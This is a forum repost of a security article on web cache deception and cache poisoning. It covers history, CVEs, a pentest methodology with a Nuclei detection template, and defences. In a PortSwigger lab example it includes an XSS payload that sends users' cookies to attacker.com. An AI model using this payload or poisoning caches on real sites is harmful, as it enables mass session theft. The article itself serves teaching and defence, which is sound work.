Attacks on Web Caching. Cache Poisoning: Theory and Practice.

Man

Professional
Messages
3,077
Reaction score
614
Points
113
9a3748630db6618922067b2735417425.png


Caching is an effective architectural solution that is used today at all levels of computing systems, from the processor cache and hard disk to the web server cache and reverse proxy servers. It is the latter that we will discuss.

In this article, we will look at cache deception and poisoning attacks, focusing on the latter: we will trace the history of the emergence and development of the vulnerability, talk about cache engines and the latest CVEs related to them. We will also try to figure out how to search for cache poisoning on real targets. We will describe the methodology of pentesting, assess the risks and consequences of exploitation, and outline general approaches to protection.

The article was written as part of the internship in July-August 2024 at the Bastion company. I would like to express my gratitude to the curator from Bastion, Timofey Brylev, as well as to my friend, Evgeny Chikachev, for the advice

Content:
  • 1. THE ESSENCE OF THE PROBLEM
  • 1.1 Introduction to Web Caching
  • 1.2 Types of attacks on web cache
  • 2. IMMERSION INTO THE TOPIC
  • 2.1 Vulnerability History
  • 2.2 Cache Engines
  • 3. THE PRACTICAL SIDE OF THE QUESTION
  • 3.1 Pentest methodology
  • 3.2 How not to look for cache poisoning
  • 3.3 By hand - what does that mean?
  • 4. TO BE OR NOT TO BE CASH POISONING
  • 4.1 Possible consequences of operation
  • 4.2 Methods of protection
  • CONCLUSION

1. The essence of the problem​

1.1 Introduction to Web Caching
The basic principle of a web cache is to store copies of the requested data so that when the data is requested again, it can be retrieved more quickly, without having to re-request the original server. There are several types of web cache:
  • Client cache (browser cache)
  • Intermediate cache (CDN, load balancers, reverse proxies)
  • Server cache

Using a web cache has many benefits. First of all, it significantly increases the speed of loading web pages, which improves the user experience. It also reduces the load on the server and saves network traffic.

df3673e759e18bf48eaf0a77e655c3ba.png


1.2 Types of attacks on web cache
As is often the case, convenience has its downside: using web caching can also create major security problems.

Most modern web cache attacks can actually be divided into two categories: cache trickery and cache poisoning. Each of these attacks has its own scenarios and subtypes.

Cache trickery is an attack that can force a cache server to cache a non-existent static file, for example, one that is supposedly referenced by a directory with confidential data, say: Ivanov_Ivan/account/nonexistence.css. If Ivanov Ivan follows such a link and the response is cached, then anyone following this path will be able to obtain his confidential data or even a session without authentication, since the page with his account is cached as static.

d723b8cbaf4f729074425216b9aa15f3.png


The question arises: why should a non-existent static file be cached at all? Incorrect handling of regular expressions in the Django framework, for example, leads to exactly the cache-fooling scenario described above. The figure below shows the use of regular expressions with a vulnerability to cache fouling.

c67310c00616b599d6d6aa1af1b93a5e.png


And in the next figure there is a more correct version with the designation of the end of the regular expression.

cee153b14a4f6e3c336d59b57cac19df.png


Now about web cache poisoning. This is a type of attack in which an attacker injects malicious or fake content into the system cache.

For example, there is client cache poisoning. This is an attack in which malicious code is injected into the browser cache and resources (for example, JavaScript files) are substituted in order to later use them to steal data, perform malicious actions, or distribute malware.

Browser cache poisoning can often occur, as with other types of cache poisoning, due to problems in the caching logic and improperly configured http headers on the web server. It can also be caused by an attacker using Service Workers scripts to intercept and modify cached requests. The result is caching of malicious content, which allows the attacker to control the responses returned by the browser.

But the topic of this article is cache poisoning of cache servers. And this attack is more serious than the ones described above because of its wide-scale impact: when a caching server is "poisoned", every user who accesses its cache receives fake data.

Cache poisoning can remain undetected for a long time, as it can involve, for example, only javascript code that runs without visible effects to the user. Or it can affect specific groups of users. If poisoning is targeted at users using all browsers except Chrome, which, say, the security team uses, it can significantly increase their response time to the attack. This is possible with the User-Agent header included in the cache key.

The idea behind a cache poisoning attack is to cause a malicious server response (or an error code response if the target is DoS) and cache that response for other users.

607a6aee589bbdba648b4cc1f180cbea.png


Let's define the terms:

A cache key is the parameters of a client request whose immutability causes the cache server to issue a cached response, and their change causes the original response from the server. A cache key is often represented as a hash of the values of these parameters. In other words, these are several specific elements of an HTTP request (headers, paths, cookies, etc.) that are used to fully identify the requested resource.

Cache booster - an instruction to load a resource from the server, and not from the cache. This indication is given by changing the parameters included in the cache key.

Hidden headers are HTTP headers that are not standard or publicly available, but can be used for a variety of purposes, including handling by proxies, load balancers, and other middleware. These headers are often added by the server or middleware and may not be obvious or known to the client.

Let's look at a simple case of cache poisoning using one of the labs on Port Swigger as an example:

f6ee15aecb5e4bd86c04ac4275bfe78b.png


We replace the initial value of the fehost Cookie parameter prod-cache-01 with any other character sets (in the figure above it is “test”), send a couple of requests with different values of this parameter to the web application and record two points:
  1. The X-Cache response header is miss the first time the request is sent, and hit the rest of the time, regardless of the fehost value. This means that Cookies are not included in the cache key, meaning that for all users the home page will be loaded from the cache server.
  2. The fehost value in the request is reflected in the page code. That is, we have reflected XSS.

Based on these two points, we understand that if for fehost we write, for example:
Code:
prod-cache-01» }; var img = new Image(); img.src = 'https://attacker.com/collect?cookies=' + encodeURIComponent(document.cookie); {»

Then the cookies of all users visiting the main page will be sent to the attacker's resource without their knowledge.

2. Immersion in the topic​

2.1 Vulnerability History
References to web cache poisoning vulnerabilities can be found since 2007. The earliest CVE related to web cache poisoning, according to the NVD database, was from the same year and was related to a vulnerability in the Drupal CMS that could cause a massive DoS.

In 2009, there was a landmark OWASP publication on this topic.

In the 2010s, there were relatively few incidents related to cache poisoning, such as the 2011 vulnerability in the Safari browser or the CMS Made Simple in 2016.

The topic was given a new lease of life after Port Swigger researcher James Kittley's presentation "Practical Web Cache Poisoning: Redefining 'Unexploitable'" at the Black Hat conference in 2018, which demonstrated new methods of attack and defense against them. Following this presentation, many CDN providers began to publish various materials on the topic of web cache poisoning. Quite a few articles and studies in general began to be published regularly.

Some CVEs this year related to web cache poisoning:
Vulnerability in Apache Traffic Server versions 8.0.0-8.1.10 and 9.0.0-9.2.4.

A vulnerability in Moby, a software containerization project, before version 24.0.9. An attacker with knowledge of the Dockerfile can poison the cache by tricking the user into downloading a specially crafted image that will be considered a valid cache for some build steps.

Vulnerability in IBM Datacap Navigator versions 9.1.5-9.1.9.

2.2 Cache Engines
Cache engines are solutions that are used to cache web content. Cache engines can be separate software solutions, solutions in CDNs, or simply caching functionality in frameworks and CMSs.

Among popular software solutions, Apache Traffic Server can be called the first in terms of the number of registered CVEs over the past couple of years. However, it should be noted that the number of CVEs is not an indicator of the security or insecurity of a product. The following factors can serve as indicators of product security:
  • The software is actively used and developed.
  • The vendor encourages the search for vulnerabilities in its product.
  • New security bugs are processed and fixed quickly.

The CVE should be relied upon as a basis for current and future research.

Among CDN providers, the world's leading one is Cloudflare, which has a good reputation for responding quickly to current cybersecurity challenges. Thus, in the Port Swigger article from 10/06/2018 with an analysis of CDN providers' methods of protecting against cache poisoning attacks, Cloudflare's methods were rated as the best among others.

Regarding CMS cache poisoning, from the latest news we note a vulnerability in TYPO3 from 05/30/2023. And also a critical vulnerability in the Drupal core from 09/21/2023.

As for frameworks, one of the most interesting studies of this year can be called a bughunter's article about a vulnerability in Next.js. One of the points discovered by the bughunter was that Next.js tries to solve the problem of self-caching when requesting RSC (React Server Components) data by adding a cache booster to the URL. However, this does not prevent attackers from poisoning the cache by sending requests with the rsc header without using a cache booster.

3. The practical side of the issue​

3.1 Pentest methodology
Now let's try to create a methodology for researching and exploiting web cache poisoning in real applications.

  1. Select a resource suitable for research, or "cache-oracle".
Cache-oracle is a web page that provides user-friendly feedback about cache behavior. Feedback can manifest itself in different ways:
  • An HTTP header that explicitly tells us whether the resource is cached or not (hit/miss).
  • Observed changes in dynamic content.
  • Different response times when requesting a resource.
  1. Explore the caching logic and cache key, try to find hidden caching parameters.
The cache key is explored by asking our "oracle" questions with various parameters transformed: removing individual query parameters, removing the entire query string, removing the port from the Host header, decoding the URL, etc. Each such "question" is asked by sending two slightly different requests and observing whether the second one results in a cache hit.

Further, guessing, for example, hidden http headers related to caching and substituting your values into them, you can inadvertently poison the cache for all users, which is a gross mistake for an ethical hacker performing a pentest with the condition of not harming the customer. Therefore, you should use a cache booster for each such "guessing".

All this can be done both manually and by means of automation (it is necessary to exclude the impact on the system in the settings of the tool used). Here are some of them:
This is an open-source extension for Burp Suite that automatically searches for non-obvious HTTP request parameters. It automatically inserts various parameters into requests and analyzes responses to identify parameters that can be used for cache poisoning.
A tool for automating the detection of web application caching vulnerabilities. It analyzes changes in HTTP responses when adding headers, checks for differences in status codes and response lengths, and manipulates the Host header with the addition of ports. In addition, the tool automatically scans static files to identify other possible cache vulnerabilities.
A fairly serious scanner written in Go for detecting web cache vulnerabilities from Hackmanit. The scanner supports many different cache poisoning and spoofing techniques, supports URL testing, and can be tailored to a specific cache for more efficient testing. It is easy to configure and integrate into existing DevOps processes.

Also, to research cache keys and hidden headers, it will be useful to study the available documentation of the used CDNs, engines, frameworks, etc., as well as the source code and possible information leaks.

  1. Exploitation of vulnerability.
Now you need to get a malicious response from the server and cache it. The simplest thing you can often do is to cause a denial of service (DoS), for example by calling a 403 server response and caching the result, which means that all users of the application will get this error instead of the requested page.

However, even if it is possible to cache such server responses, the best option is still to find additional vulnerabilities, such as reflected XSS, open redirect, and others, which on their own might be harmless, but when combined with cache poisoning they reach a whole new level.

For example, using XSS, an attacker can inject a malicious script that will be executed in the browsers of users receiving cached pages. This can lead to the theft of credentials, sessions, or even complete control over user accounts. It is also important to note that the attack can be directed not only at users, but also at internal systems if caching is not configured correctly. This can result in internal data, such as sensitive information or administrative interfaces, being accessible to attackers.

3.2 How not to look for cache poisoning
By and large, the first question a pen tester should have when considering cache poisoning in practice is the possibility of effective mass scanning of domains. After all, the main page of a site is cached quite often, so if such scanning were possible, it would significantly facilitate the detection of this vulnerability.

Let's check this ourselves, for which we'll use the Nuclei scanner, popular among bug hunters. We'll take a ready-made template for checking cache poisoning, which sends possible hidden http headers in a GET request and checks whether the body of the received response contains the value of these headers. We'll change some points in the template, adapting it to real purposes. Including adding a little more payload in the form of possible hidden headers:
Code:
id: WebCachePoisoning-detect

info:
  name: Cache Poisoning
  author: sensa1ac
  severity: high
  metadata:
    max-request: 2

variables:
  cache_key: "{{rand_base(12)}}"
  cache_header: "{{rand_base(12)}}"

http:
  - raw:
      - |
        GET /?{{cache_key}}=9 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
        X-Forwarded-Prefix: {{cache_header}}.xfp
        X-Forwarded-Host: {{cache_header}}.xfh
        X-Forwarded-For: {{cache_header}}.xff
        True-Client-IP: {{cache_header}}.tcip
        X-Real-IP: {{cache_header}}.xri
        Forwarded: {{cache_header}}.fwd
      - |
        GET /?{{cache_key}}=9 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, cache_header)'

Let's check the functionality of the template in the lab "Web cache poisoning with an unkeyed header" from Port Swigger.

ebe43f2616d40350615e0832a6332151.png


Great, everything works. Now let's move on to real goals on Bug Bounty. We'll collect a couple thousand domains from domestic Standoff365 and a couple hundred thousand from foreign HackerOne and scan them with our template.

Standoff365

Standoff365

Hackerone

Hackerone

But the result is the same:

fde9b3bc38b3793ad0d0c1f52676df36.png


Which clearly answers the question posed: cache poisoning must be searched for manually, and scanners must be used to work with a specific resource.

3.3 By hand - what does that mean?
In reality, it's a bit more complicated than just finding everything we're looking for right away on the domain's main page. Often, cache poisoning discoveries are made through requests to automatically generated resources, not to the domain's main page. Such as /js/geolocate.js, /statistics/info.json?utm-content=foo, and others, since these are the resources that implement all the caching functionality, and these resources, as practice shows, check user input poorly or not at all, which means they are the most vulnerable.

How to find parameters in requests to such resources without user filtering? Well, for example, I go to my account of a well-known in Russia and the world website of one company that has placed its domains on HackerOne, so that, among other things, we could try to find something interesting with our own hands. It is enough to run through a couple of pages of the site to see in Burp Suit such a request to a script with statistics.

bdf40312c7cc0026bf91ed0f6ba5c17a.png


Let's pay attention to the values of the domain parameter Set-Cookie. The main domain is currently indicated there. Having enabled the Param Miner extension with the "Guess headers" indication, we find the following:

820c718ff028297a69132e710f4b3fb4.png


In fact, in the issue of exploiting cache poisoning, this is all uninteresting exactly to the extent that this is a non-cacheable response, and the Set-Cookie domain parameter is generally an instruction for the browser (to send cookies to the specified domain and its subdomains).

However, we have learned that the original server is waiting for the X-Host header from the proxy server: it is waiting and ready to process, even if it receives it from the client side, that is, from us.

Of note: the same company on another resource was found in the same way as above, the ability to control the value of the Access-Control-Allow-Origin header, as well as the hidden URL parameter "timeout", the value of which determines the maximum time during which the proxy server will wait for a response from the server, which allows you to easily calculate the average time that a request takes from the proxy to the server, down to nanoseconds, since if the request does not make it in time, the status 500 will be received.

bbd69bdb72d00cdef059bad6d53c5828.png


For Bughunter, all these scattered observations provide a basis for further manual research of the company's domains and a fully justified hope of finding serious cache poisoning with a chain of exploits.

4. To be or not to be cache poisoning​

4.1 Possible consequences of operation
Now let's talk about the possible consequences of exploiting web cache poisoning.

As already mentioned in the description of the pentest methodology, cache poisoning itself is often exploited by denial of service, either mass or selective (by http headers depending on the cache key), which is usually classified as medium or high risk. However, in combination with other vulnerabilities, it can lead to very serious consequences, classified as high-critical risk.

Here are some examples of what can happen when web cache poisoning is combined with other vulnerabilities:
  1. Combination with XSS.
  • If cache poisoning allows XSS scripts to be injected into cached pages, an attacker can inject a script that steals users' session cookies. This script will be executed for all users who receive the poisoned page from the cache.
  1. Combination with CSRF.
  • Using cache poisoning, an attacker can modify cached pages by adding hidden CSRF requests. This allows requests to be sent on behalf of users without their knowledge.
  • Example: An attacker modifies a cached account settings page by adding a hidden form that requests an email or password change.
  1. Combination with authentication vulnerabilities.
  • In case of vulnerabilities in authentication (e.g. weak protection against token reuse), cache poisoning can be used to distribute fake authentication tokens.
  1. Combination with vulnerabilities in business logic.
  • Cache poisoning can be used to change the data displayed on pages related to transactions or important operations.
  1. Combination with server-level vulnerabilities.
  • If the server does not properly handle cached data, an attacker can use cache poisoning to inject malicious commands or data. For example, modifying a cached API response that is then used by the server to execute business logic, which can lead to the execution of arbitrary commands.

4.2 Methods of protection
Cache poisoning attacks are primarily associated with a violation of the caching logic itself. However, even adding certain headers that caused the vulnerability to the cache key cannot be said to have solved the problem. The very complexity of caching provides a lot of scope for its research from the point of view of offensive security.

Let's look at common approaches to ensure secure web caching:
  1. Be careful about what content is cached, limit caching or disable it altogether if it is not necessary (for example, many CDNs have caching enabled by default).
  2. Correct cache setup: correct headers (Cache-Control, ETag, Vary), correct formation of the cache key.
  3. Do not ignore "harmless" vulnerabilities that lead to serious consequences when combined with cache poisoning: implement input validation and sanitization, as well as security headers (CSP, X-Content-Type-Options, X-XSS-Protection).
  4. Regular software updates. Since the vulnerability to cache poisoning can come to us from the cache engines we use in CMS, frameworks, etc.

Conclusion​

To properly build a web caching system, it is necessary to understand the basic concepts of cache attacks, methods of finding them and exploiting them by a potential attacker, which was also discussed in this article.

Due to the high potential risk, web caching vulnerabilities and web cache poisoning in particular will continue to be the subject of ongoing research.

Source
 
Top